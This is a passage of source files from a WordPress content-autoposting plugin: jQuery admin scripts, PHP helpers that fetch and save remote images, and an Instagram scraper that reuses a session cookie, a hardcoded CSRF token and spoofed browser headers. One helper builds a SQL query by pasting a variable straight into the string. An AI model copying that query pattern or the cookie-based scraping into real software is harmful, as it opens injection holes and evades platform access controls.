    • '; }); jQuery('.search-result-list').show().html(htmlResult); }); }, /** * Select Keyword * */ _selectKeyword: function( event ) { event.preventDefault(); var keyword = $(this).data('keyword'); var parsed = keyword.replace(/(<([^>]+)>)/ig,""); $('#robot-selected-keywords').val(function(i, text) { if(text.length === 0){ return text + parsed; }else{ return text + ', '+ parsed; } }); }, /** * Save Campaign * */ _saveCampaign: function( ) { // set post form data var formdata = $('.robot-campaign-form').serializeArray(); var fields = {}; $(formdata ).each(function(index, obj){ fields[obj.name] = obj.value; }); fields['campaign_status'] = 'draft'; fields['update_frequency'] = $('.range-slider__value').text(); fields['update_frequency_unit'] = $('#robot-field-unit-button').val(); fields['robot_post_status'] = $('#robot-post-status').val(); fields['robot_post_type'] = $('#robot-post-type').val(); fields['robot_post_author'] = $('#robot-post-author').val(); fields['translation'] = $('.translation.active').data('nav'); fields['facebook_source_type'] = $('.facebook_source_type.active').data('nav'); // set selected category data var select_category_data = $('.robot-category-multi-select').select2('data'); var selected_category = select_category_data.map(function (el) { return el.id; }); fields['robot-post-category'] = selected_category; // set selected tag data var select_tag_data = $('.robot-tag-multi-select').select2('data'); var selected_tag = select_tag_data.map(function (el) { return el.id; }); console.log(selected_tag); fields['robot-post-tag'] = selected_tag; $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_save_campaign', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce }, beforeSend: function() { $('.robot-status-changes').html('Saving'); }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( options ) { if( false === options.success ) { console.log(options); } else { $( "input[name='campaign_id']" ).val(options.data); // update campaign status $('.robot-tag').html('draft'); $('.robot-tag').removeClass('robot-tag-published'); $('.robot-tag').addClass('robot-tag-draft'); // update campaign save icon status $('.robot-status-changes').html('Saved'); // update campaign button text $('.campaign-save-text').text('save draft'); $('.campaign-publish-text').text('publish'); //update page url with campaign id var campaign_url = Auto_Robot_Data.wizard_url+ '&id=' + options.data + '&source=' + fields['robot_selected_source']; window.history.replaceState('','',campaign_url); } }); }, /** * Publish Campaign * */ _publishCampaign: function( ) { var formdata = $('.robot-campaign-form').serializeArray(); var fields = {}; $(formdata ).each(function(index, obj){ fields[obj.name] = obj.value; }); fields['campaign_status'] = 'publish'; fields['update_frequency'] = $('.range-slider__value').text(); fields['update_frequency_unit'] = $('#robot-field-unit-button').val(); fields['robot_post_status'] = $('#robot-post-status').val(); fields['robot_post_type'] = $('#robot-post-type').val(); fields['robot_post_author'] = $('#robot-post-author').val(); fields['translation'] = $('.translation.active').data('nav'); fields['facebook_source_type'] = $('.facebook_source_type.active').data('nav'); // set selected category data var select_category_data = $('.robot-category-multi-select').select2('data'); var selected_category = select_category_data.map(function (el) { return el.id; }); fields['robot-post-category'] = selected_category; // set selected tag data var select_tag_data = $('.robot-tag-multi-select').select2('data'); var selected_tag = select_tag_data.map(function (el) { return el.id; }); console.log(selected_tag); fields['robot-post-tag'] = selected_tag; console.log(Auto_Robot_Data.ajaxurl); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_save_campaign', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { $('.robot-status-changes').html('Saving'); }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( options ) { if( false === options.success ) { console.log(options); } else { $( "input[name='campaign_id']" ).val(options.data); // update campaign tag status $('.robot-tag').html('published'); $('.robot-tag').removeClass('robot-tag-draft'); $('.robot-tag').addClass('robot-tag-published'); // update campaign save icon status $('.robot-status-changes').html('Saved'); // update campaign button text $('.campaign-save-text').text('unpublish'); $('.campaign-publish-text').text('update'); //update page url with campaign id var campaign_url = Auto_Robot_Data.wizard_url+ '&id=' + options.data + '&source=' + fields['robot_selected_source']; window.history.replaceState('','',campaign_url); } }); }, /** * Run Campaign * */ _runCampaign: function( ) { var fields = {}; fields['campaign_id'] = $( "input[name='campaign_id']" ).val(); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_run_campaign', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { $('.robot-box-footer').hide(); $('.robot-campaign-popup-body').html('
      running now...
      '); }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( option ) { if( false === option.success ) { console.log(option); $('.robot-campaign-popup-body').html(option.data); } else { console.log(option.data); $('.robot-campaign-popup-body').html('Running Log:
      '); $.each(option.data, function(index, value) { $('.robot-campaign-popup-body').append(value.message); $('.robot-campaign-popup-body').append('
      '); }); $('.robot-campaign-popup-body').append('Finished'); $('.robot-box-footer').show(); } }); }, /** * Sticky Header * */ _stickyHeader: function( ) { //===== Sticky $(window).on('scroll',function(event) { var scroll = $(window).scrollTop(); if (scroll < 245) { $(".robot-box-sticky").removeClass("robot-is-sticky"); }else{ $(".robot-box-sticky").addClass("robot-is-sticky"); } }); }, /** * Load Popup * */ _loadPopup: function( ) { $('.open-popup-campaign').magnificPopup({ type:'inline', midClick: true, // Allow opening popup on middle mouse click. Always set it to true if you don't provide alternative source in href. // Delay in milliseconds before popup is removed removalDelay: 300, // Class that is added to popup wrapper and background // make it unique to apply your CSS animations just to this exact popup callbacks: { beforeOpen: function() { this.st.mainClass = this.st.el.attr('data-effect'); } }, }); }, /** * Mobile Select * */ _mobileSelect: function( ) { // onClick new options list of new select var newOptions = $('.robot-vertical-tabs > li'); newOptions.on('click', function(){ $('.robot-select-content').text($(this).text()); $('.robot-vertical-tabs > li').removeClass('selected'); $(this).addClass('selected'); }); var aeDropdown = $('.robot-sidenav'); aeDropdown.on('click', function(){ $('.robot-vertical-tabs').toggleClass('robot-sidenav-hide-md'); }); }, /** * Range Slider * */ _rangeSlider: function( ) { var slider = $('.range-slider'), range = $('.range-slider__range'), value = $('.range-slider__value'); slider.each(function(){ value.each(function(){ var value = $(this).prev().attr('value'); $(this).html(value); }); range.on('input', function(){ $(this).next(value).html(this.value); }); }); }, /** * Main Select * */ _mainSelect: function( ) { // onClick new options list of new select var newOptions = $('.list-results > li'); newOptions.on('click', function(){ $(this).closest('.select-list-container').find('.list-value').text($(this).text()); $(this).closest('.select-list-container').find('.list-value').val($(this).text()); $(this).closest('.select-list-container').find('.list-results > li').removeClass('selected'); $(this).addClass('selected'); }); var aeDropdown = $('.select-list-container'); aeDropdown.on('click', function(){ $(this).closest('.select-list-container').find('.list-results').toggleClass('robot-sidenav-hide-md'); }); var robotDropdown = $('.dropdown-handle'); robotDropdown.on('click', function(){ $(this).closest('.select-list-container').find('.list-results').toggleClass('robot-sidenav-hide-md'); }); }, /** * Post Select * */ _postSelect: function( ) { // onClick new options list of new select var newOptions = $('.post-list-results > li'); newOptions.on('click', function(){ $('.post-list-value').text($(this).text()); $('.post-list-value').val($(this).text()); $('.post-list-results > li').removeClass('selected'); $(this).addClass('selected'); }); var aeDropdown = $('.post-select-list-container'); aeDropdown.on('click', function(){ $('.post-list-results').toggleClass('robot-sidenav-hide-md'); }); var robotDropdown = $('.post-dropdown-handle'); robotDropdown.on('click', function(){ $('.post-list-results').toggleClass('robot-sidenav-hide-md'); }); }, /** * Type Select * */ _typeSelect: function( ) { // onClick new options list of new select var newOptions = $('.type-list-results > li'); newOptions.on('click', function(){ $('.type-list-value').text($(this).text()); $('.type-list-value').val($(this).text()); $('.type-list-results > li').removeClass('selected'); $(this).addClass('selected'); }); var aeDropdown = $('.type-select-list-container'); aeDropdown.on('click', function(){ $('.type-list-results').toggleClass('robot-sidenav-hide-md'); }); var robotDropdown = $('.type-dropdown-handle'); robotDropdown.on('click', function(){ $('.type-list-results').toggleClass('robot-sidenav-hide-md'); }); }, /** * Author Select * */ _authorSelect: function( ) { // onClick new options list of new select var newOptions = $('.author-list-results > li'); newOptions.on('click', function(){ $('.author-list-value').text($(this).text()); $('.author-list-value').val($(this).text()); $('.author-list-results > li').removeClass('selected'); $(this).addClass('selected'); }); var aeDropdown = $('.author-select-list-container'); aeDropdown.on('click', function(){ $('.author-list-results').toggleClass('robot-sidenav-hide-md'); }); var robotDropdown = $('.author-dropdown-handle'); robotDropdown.on('click', function(){ $('.author-list-results').toggleClass('robot-sidenav-hide-md'); }); }, /** * Category Select * */ _categorySelect: function( ) { // Categories Select2 $(".robot-category-multi-select").select2({ placeholder: "Select your post categories here", //placeholder allowClear: true }); // Tags Select2 $(".robot-tag-multi-select").select2({ placeholder: "Select your post tags here", //placeholder allowClear: true }); }, /** * Switch Sui Tabs * */ _switchSuiTabs: function( event ) { event.preventDefault(); //console.log('clicked'); var tab = '#' + $(this).data('nav'); console.log(tab); $('.sui-tab-item').removeClass('active'); $(this).addClass('active'); $('.sui-tab-content').removeClass('active'); $('.sui-tabs-content').find(tab).addClass('active'); }, /** * Source Select * */ _sourceSelect: function( ) { var tab = '#' + $('.robot_youtube_source_category').val(); // Load action tab //$('.sui-tab-content').removeClass('active'); $('.sui-tabs-content').find(tab).addClass('active'); // onClick new options list of new select var newOptions = $('.source-list-results > li'); newOptions.on('click', function(){ $('.source-list-value').text($(this).text()); $('.source-list-value').val($(this).text()); $('.source-list-results > li').removeClass('selected'); $(this).addClass('selected'); }); var aeDropdown = $('.source-select-list-container'); aeDropdown.on('click', function(){ $('.source-list-results').toggleClass('source-robot-sidenav-hide-md'); }); var robotDropdown = $('.source-dropdown-handle'); robotDropdown.on('click', function(){ $('.source-list-results').toggleClass('source-robot-sidenav-hide-md'); }); }, /** * Source Select Tab * */ _sourceSelectTab: function( event ) { event.preventDefault(); // onClick new options list of new select var newOptions = $('.source-list-results > li'); newOptions.on('click', function(){ var tab = '#' + $(this).data('nav'); $('.sui-tab-content').removeClass('active'); $('.sui-tabs-content').find(tab).addClass('active'); $('.robot_youtube_source_category').val($(this).text()); }); }, /** * Append template shortcode * */ _appendTemplate: function( ) { var template = $("#robot-main-post-template").val(); var shortcode = $("#robot-field-shortcode-button").val(); console.log(template + shortcode); $("#robot-main-post-template").val(template + shortcode); }, /** * Clear logs * */ _clearLogs: function( event ) { event.preventDefault(); if (!confirm('Are you sure you wish to permanently delete logs?')) { return; } $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_clear_logs', _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( options ) { if( false === options.success ) { console.log(options); } else { AutoRobotAction._displayNoticeMessage(options.data); window.location.reload(); } }); }, /** * Display Notice Message * */ _displayNoticeMessage: function(message) { var html = '
      ' + message + '
      '; $(html).appendTo(".robot-wrap").fadeIn('slow').animate({opacity: 1.0}, 2500).fadeOut('slow');; }, /** * Category Selector * */ _translatorAPISelector: function( ) { $('.translator-api').click(function(e) { e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set api value */ var translator_api = $('#'+$(e.target).attr('for')); translator_api.prop('checked',true); }); $('.translator-from-language').click(function(e) { e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set from language value */ //var translator_from_language = $('#'+$(e.target).attr('for')); var translator_from_language = $(this).find('#'+$(e.target).attr('for')); translator_from_language.prop('checked',true); }); $('.translator-to-language').click(function(e) { e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set to language value */ //var translator_to_language = $('#'+$(e.target).attr('for')); var translator_to_language = $(this).find('#'+$(e.target).attr('for')); translator_to_language.prop('checked',true); }); }, }; /** * Initialize AutoRobotAction */ $(function(){ AutoRobotAction.init(); }); })(jQuery); assets/js/addon.js000064400000011721147600277620010122 0ustar00(function($){ "use strict"; var AutoRobotAddon = { init: function() { // Document ready. $( document ).ready( AutoRobotAddon._loadPopup() ); this._bind(); }, /** * Binds events for the Auto Robot Addon. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-connect-integration', AutoRobotAddon._selectIntegration ); $( document ).on('click', '.robot-addon-connect', AutoRobotAddon._saveAPIData ); $( document ).on('auto-robot-reload-integration-page', AutoRobotAddon._reloadIntegrationPage ); }, /** * Load Popup * */ _loadPopup: function( ) { $('.robot-connect-integration').magnificPopup({ type:'inline', midClick: true, // Allow opening popup on middle mouse click. Always set it to true if you don't provide alternative source in href. // Delay in milliseconds before popup is removed removalDelay: 300, // Class that is added to popup wrapper and background // make it unique to apply your CSS animations just to this exact popup callbacks: { beforeOpen: function() { this.st.mainClass = this.st.el.attr('data-effect'); } }, }); }, /** * Display Actions * */ _selectIntegration: function( event ) { event.preventDefault(); var slug = $(this).data('slug'); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_select_integration', template : slug, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { $('#integration-popup').empty(); }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( result ) { if( false === result.success ) { console.log(result); } else { $('#integration-popup').html(result.data); } }); }, /** * Save API Data * */ _saveAPIData: function( event ) { event.preventDefault(); var formdata = $('.robot-integration-form').serializeArray(); var fields = {}; $(formdata ).each(function(index, obj){ fields[obj.name] = obj.value; }); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_save_api_data', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { $('.robot-loading-text').text('Loading...'); }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( result ) { if( false === result.success ) { console.log(result); } else { $('.robot-loading-text').text('Save'); AutoRobotAddon._displayNoticeMessage(result.data); setTimeout(function(){ $(document).trigger( 'auto-robot-reload-integration-page' ); }, 3000); } }); }, /** * Reload Integration Page * */ _reloadIntegrationPage: function( event ) { event.preventDefault(); var target_url = Auto_Robot_Data.integrations_url; window.location.replace(target_url); }, /** * Display Notice Message * */ _displayNoticeMessage: function(message) { event.preventDefault(); var html = '
      ' + message + '
      '; $(html).appendTo(".robot-wrap").fadeIn('slow').animate({opacity: 1.0}, 2500).fadeOut('slow');; }, }; /** * Initialize AutoRobotAddon */ $(function(){ AutoRobotAddon.init(); }); })(jQuery); includes/abstracts/abstract-class-module.php000064400000004725147600277620015265 0ustar00id = $id; $this->name = $name; $this->options = $this->options(); $this->init(); $this->load_admin(); $this->register_cpt(); $this->load_front(); } /** * @since 1.0.0 */ public function init() {} /** * Register Module CPT. * * @since 1.0.0 */ abstract public function register_cpt(); /** * Get Module ID * * @since 1.0.0 * @return string */ public function get_id() { return $this->id; } /** * Get Module Name * * @since 1.0.0 * @return string */ public function get_name() { return $this->name; } /** * Get Module Description * * @since 1.0.0 * @return string */ public function get_description() { return $this->get_option( 'description' ); } /** * Get slug * * @since 1.0.0 * @return mixed */ public function get_slug() { $id = $this->get_id(); return str_replace( '_', '-', strtolower( $id ) ); } /** * Get Module icon * * @since 1.0.0 * @return string */ public function get_icon() { return $this->get_option( 'icon' ); } /** * Get Module button label * * @since 1.0.0 * @return string */ public function get_label() { return $this->get_option( 'button_label' ); } /** * Module Defaults * Here we store Module name, description, icon, etc. * * @since 1.0.0 * @return array */ public function options() { return array(); } /** * Get specific option from module options * * @since 1.0.0 * @param $option * @param string $default * * @return mixed|string */ public function get_option( $option, $default = '' ) { if ( isset( $this->options[ $option ] ) ) { return $this->options[ $option ]; } return $default; } /** * Load admin only scripts * * @since 1.0.0 */ abstract public function load_admin(); /** * Load front only scripts * * @since 1.0.0 */ abstract public function load_front(); } endif; includes/helpers/helper-core.php000064400000041451147600277620012752 0ustar00 esc_html__( 'Publish',Auto_Robot::DOMAIN ), 'draft' => esc_html__( 'Draft',Auto_Robot::DOMAIN ), ) ); } /** * Return Components * * @since 1.0.0 * @return array */ function auto_robot_get_components($source) { $components_dir = "campaigns/wizard/components/"; $components = array(); switch ( $source ) { case 'rss': $components = ['campaign-name', 'feed-links', 'content-options']; break; case 'facebook': $components = ['campaign-name', 'facebook-links']; break; case 'instagram': $components = ['campaign-name', 'instagram-source']; break; case 'youtube': $components = ['campaign-name', 'youtube-source']; break; case 'search': $components = ['campaign-name', 'language-location', 'feed-keywords']; break; default: $components = ['campaign-name', 'search-keywords']; break; } foreach($components as $key => $value){ $components[$key] = $components_dir.$value; } return $components; } /** * Process Twitter Campaign Job * @param string * @since 1.0.0 * @return array */ function auto_robot_get_random($keywords) { $keywords_array = explode(', ', $keywords); $rand = array_rand($keywords_array); return $keywords_array[$rand]; } /** * Process Facebook Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_facebook_job($id, $source, $settings){ // Initial job class and run this job $job = new Auto_Robot_Facebook_Job( $id, $source, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process Twitter Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_twitter_job($id, $source, $keyword, $settings){ // Initial job class and run this job $job = new Auto_Robot_Twitter_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process Youtube Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_youtube_job($id, $source, $keyword, $settings){ // Initial job class and run this job $job = new Auto_Robot_Youtube_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process Vimeo Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_vimeo_job($id, $source, $keyword, $settings){ // Initial job class and run this job $job = new Auto_Robot_Vimeo_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process Instagram Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_instagram_job($id, $source, $keyword, $settings){ $job = new Auto_Robot_Instagram_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process Flickr Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_flickr_job($id, $source, $keyword, $settings){ // Initial job class and run this job $job = new Auto_Robot_Flickr_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process RSS Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_rss_job($id, $source, $feed_link, $settings){ // Initial job class and run this job $job = new Auto_Robot_RSS_Job( $id, $source, $feed_link, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process RSS Search Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_search_job($id, $source, $keyword, $settings){ // Initial job class and run this job $job = new Auto_Robot_Search_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process SoundCloud Campaign Job * * @since 1.0.0 * @return array */ function auto_robot_process_soundcloud_job($id, $source, $keyword, $settings){ // Initial job class and run this job $job = new Auto_Robot_SoundCloud_Job( $id, $source, $keyword, $settings); $result = $job->run(); // Return this job running result return $result; } /** * Process RSS Campaign Job * * @since 1.0.0 * @return int */ function auto_robot_calculate_next_time($update_frequency, $update_frequency_unit){ $time_length = 0; switch ( $update_frequency_unit ) { case 'Minutes': $time_length = $update_frequency*60; break; case 'Hours': $time_length = $update_frequency*60*60; break; case 'Days': $time_length = $update_frequency*60*60*24; break; default: break; } return $time_length; } /** * Save remote image to wp upload directory */ function auto_robot_upload_image($remote_url, $filename){ $image = wp_remote_get( $remote_url ); $upload_dir = wp_upload_dir (); if (wp_mkdir_p ( $upload_dir ['path'] )){ $file = $upload_dir ['path'] . '/' . $filename; }else{ $file = $upload_dir ['basedir'] . '/' . $filename; } // check if same image name already exists if (file_exists ( $file )) { $filename = time () . '_' . rand ( 0, 999 ) . '_' . $filename; if (wp_mkdir_p ( $upload_dir ['path'] )) $file = $upload_dir ['path'] . '/' . $filename; else $file = $upload_dir ['basedir'] . '/' . $filename; } file_put_contents ( $file, $image['body'] ); $file_link = $upload_dir ['url'] . '/' . $filename; $guid = $upload_dir ['url'] . '/' . basename ( $filename ); auto_robot_save_image_to_media($guid, $filename, $file); return $file_link; } /** * Add image to media library and attach to the post */ function auto_robot_save_image_to_media($guid, $filename, $file){ // atttatchment check if exists or not global $wpdb; $query = "select * from $wpdb->posts where guid = '$guid' limit 1"; $already_saved_attachment = $wpdb->get_row ( $query ); if (isset ( $already_saved_attachment->ID )) { $attach_id = $already_saved_attachment->ID; } else { $wp_filetype = wp_check_filetype ( $filename, null ); if ($wp_filetype ['type'] == false) { $wp_filetype ['type'] = 'image/jpeg'; } // Title handling $imgTitle = sanitize_file_name ( $filename ); $attachment = array ( 'guid' => $guid, 'post_mime_type' => $wp_filetype ['type'], 'post_title' => $imgTitle, 'post_content' => '', 'post_status' => 'inherit' ); $attach_id = wp_insert_attachment ( $attachment, $file); $attach_data = wp_generate_attachment_metadata ( $attach_id, $file ); wp_update_attachment_metadata ( $attach_id, $attach_data ); } } /* * Checks for a new version of Auto Robot and creates messages if needed */ function auto_robot_check_for_newer() { $ret = false; $latest_version = ''; $url = WPHOBBY_STATS_URL . '/index.php?rest_route=/wphobby/v1/user/version'; $response = wp_safe_remote_post( $url, array( 'method' => 'GET', 'timeout' => 10, 'redirection' => 10, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), ) ); if ( ! is_wp_error( $response ) ) { $result = json_decode($response['body']); $latest_version = $result->data; } if ( !empty( $latest_version ) ) { $old = AUTO_ROBOT_VERSION; if ( 1 === version_compare( $latest_version, $old ) ) { // current version is lower than latest $msg = sprintf( __( 'A new version of %s is available. Please install it.', Auto_Robot::DOMAIN ), 'Auto Robot' ); $ret = array( 'msg' => $msg, 'ver' => $latest_version ); } } return $ret; } /** * Save remote image to wp upload directory */ function auto_robot_instagram_upload_image($remote_url, $id, $campaign_id){ $image = wp_remote_get( $remote_url ); $filename = $id. '.png'; $upload_dir = auto_robot_mkdir('auto-robot/'.$campaign_id); $file = $upload_dir['path'] . '/' . $filename; file_put_contents ( $file, $image['body'] ); $file_link = $upload_dir['url'] . $filename; //$guid = $upload_dir ['url'] . '/' . basename ( $filename ); //auto_robot_save_image_to_media($guid, $filename, $file); return $file_link; } /** * Make file directory * * @since 1.2.5 * @param string $dir_name Directory Name. */ function auto_robot_mkdir( $dir_name ) { $upload_dir = wp_upload_dir(); // Build the paths. $dir_info = array( 'path' => $upload_dir['basedir'] . '/' . $dir_name . '/', 'url' => $upload_dir['baseurl'] . '/' . $dir_name . '/', ); // Create the upload dir if it doesn't exist. if ( ! file_exists( $dir_info['path'] ) ) { // Create the directory. wp_mkdir_p( $dir_info['path'] ); // Add an index file for security. auto_robot_get_filesystem()->put_contents( $dir_info['path'] . 'index.html', '' ); } return $dir_info; } /** * Get an instance of WP_Filesystem_Direct. * * @since 1.1.0 * @return object A WP_Filesystem_Direct instance. */ function auto_robot_get_filesystem() { global $wp_filesystem; require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); return $wp_filesystem; } includes/helpers/helper-instagram-scrape.php000064400000031633147600277620015263 0ustar00ch = $ch; $this->debug = $debug; $this->sess = $sess; // session required starting from 8 April 2018 curl_setopt ( $this->ch, CURLOPT_COOKIE, 'sessionid=' . $sess . '; csrftoken=eqYUPd3nV0gDSWw43IYZjydziMndrn4l;' ); // redirect curl_setopt ( $this->ch, CURLOPT_MAXREDIRS, 3 ); // Good leeway for redirections. } /** * Get instagram pics for a specific user using his numeric ID * * @param string $usrID * : the user id * @$itemsCount integer: number of items to return default to 12 * @param number $index * : the start index of reurned items (id of the first item) by default starts from the first image * * @return : array of items */ function getUserItems($usrID, $itemsCount = 12, $index = 0) { if ($this->debug) echo ' index' . $index; if ($index === 0) { $after = ""; } else { $after = "&after=" . urlencode ( trim ( $index ) ); } $url = "https://www.instagram.com/graphql/query/?query_id=17880160963012870&id=$usrID&first=12" . $after; if ($this->debug) echo '
      URL:' . $url; curl_setopt ( $this->ch, CURLOPT_URL, $url ); $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); if (isset ( $cuinfo ['url'] ) && $this->is_not_logged_in($cuinfo ) ) { throw new Exception ( '
      Added session is not correct or expired. Please visit the plugin settings page and add a fresh session. Also make sure not to logout of your account for the session to stay alive.' ); } // Curl error check if (trim ( $exec ) == '') { throw new Exception ( 'Empty results from instagram call with possible curl error:' . $x ); } // Verify returned result if (! (stristr ( $exec, 'status": "ok' ) || stristr ( $exec, 'status":"ok' ))) { throw new Exception ( 'Unexpected page content from instagram' . $x . $exec ); } //var_dump($exec); $jsonArr = json_decode ( $exec ); if (isset ( $jsonArr->status )) { return $jsonArr; } else { throw new Exception ( 'Can not get valid array from instagram' . $x ); } } /** * Get instagram user info * * @param string $userName */ function getUserinfo($userName) { $url = 'https://www.instagram.com/' . trim($userName) . '/?__a=1&__d=1'; if ($this->debug) echo '
      URL:' . $url; curl_setopt ( $this->ch, CURLOPT_URL, $url ); $exec = curl_exec ( $this->ch ); $x = curl_error ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); if (isset ( $cuinfo ['url'] ) && $this->is_not_logged_in($cuinfo ) ) { throw new Exception ( '
      Added session is not correct or expired. Please visit the plugin settings page and add a fresh session. Also make sure not to logout of your account for the session to stay alive.' ); } // Curl error check if (trim ( $exec ) == '') { throw new Exception ( 'Empty results from instagram call with possible curl error:' . $x ); } // Verify returned result // if (! (stristr ( $exec, 'status": "ok' ) || stristr ( $exec, 'status":"ok' ))) { // throw new Exception ( 'Unexpected page content from instagram' . $x . $exec ); // } //var_dump($exec); $jsonArr = json_decode ( $exec ); return $jsonArr; } /** * Get Instagram pics by a specific hashtag * * @param string $hashTag * Instagram Hashtag * @param integer $itemsCount * Number of items to return * @param string $index * Last cursor from a previous request for the same hashtag */ function getItemsByHashtag($hashTag, $itemsCount, $index = 0) { $this->resetCookies(); // Build after prameter if ($index === 0) { $after = ""; } else { //$after = "&max_id=" . urlencode ( trim ( $index ) ); $after = "&after=" . urlencode ( trim ( $index ) ); } $url = "https://www.instagram.com/graphql/query/?query_id=17882293912014529&tag_name=" . urlencode ( trim ( $hashTag ) ) . "&first=11" . $after; //$url = "https://www.instagram.com/explore/tags/" . urlencode ( trim ( $hashTag ) ) . "/?__a=1" . $after ; curl_setopt ( $this->ch, CURLOPT_URL, $url ); if ($this->debug) echo '
      URL:' . $url; $exec = curl_exec ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); $x = curl_error ( $this->ch ); // Curl error check if (isset ( $cuinfo ['url'] ) && $this->is_not_logged_in($cuinfo ) ) { throw new Exception ( '
      Added session is not correct or expired. Please visit the plugin settings page and add a fresh session. Also make sure not to logout of your account for the session to stay alive.' ); } if (trim ( $exec ) == '') { throw new Exception ( 'Empty results from instagram call with possible curl error:' . $x ); } // if incorrect hashtag if (stristr ( $exec, 'status":"ok' ) && stristr ( $exec, 'hashtag":null' )) { throw new Exception ( 'No hashtag exists on instagram for ' . $hashTag ); return array (); } // Verify returned result if (! stristr ( $exec, 'status": "ok' ) && ! stristr ( $exec, 'media"' )) { throw new Exception ( 'Unexpected page content from instagram, Visit the plugin settings page and renew the Session ID Cookie' . $x . $exec ); } $jsonArr = json_decode ( $exec ); if (isset ( $jsonArr->graphql->hashtag ) || isset($jsonArr->data)) { // when no new items let's get the first page if ( ( isset($jsonArr->graphql) && count ( $jsonArr->graphql->hashtag->edge_hashtag_to_media->edges ) == 0 ) || (isset($jsonArr->data->name) && false ) ) { if ($index === 0) { } else { // index used let's return first page return $this->getItemsByHashtag ( $hashTag, $itemsCount ); } } return $jsonArr; } else { throw new Exception ( 'Can not get valid array from instagram' . $x ); } } /** * * @param string $name * the name of instagram user for example "cnn" * @return : numeric id of the user */ function getUserIDFromName($name) { $this->resetCookies(); // Curl get $x = 'error'; $url = 'https://www.instagram.com/' . trim ( $name ); curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 ); curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url ) ); $headers = array(); $headers[] = "Authority: www.instagram.com"; $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"; $headers[] = "Accept-Language: en-US,en;q=0.9,ar;q=0.8"; $headers[] = "Cache-Control: max-age=0"; $headers[] = "Sec-Fetch-Dest: document"; $headers[] = "Sec-Fetch-Mode: navigate"; $headers[] = "Sec-Fetch-Site: none"; $headers[] = "Sec-Fetch-User: ?1"; $headers[] = "Upgrade-Insecure-Requests: 1"; $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"; curl_setopt($this->ch, CURLOPT_HTTPHEADER, $headers); $exec = curl_exec ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); $http_code = $cuinfo ['http_code']; $x = curl_error ( $this->ch ); // Curl error check if (isset ( $cuinfo ['url'] ) && $this->is_not_logged_in($cuinfo ) ) { throw new Exception ( '
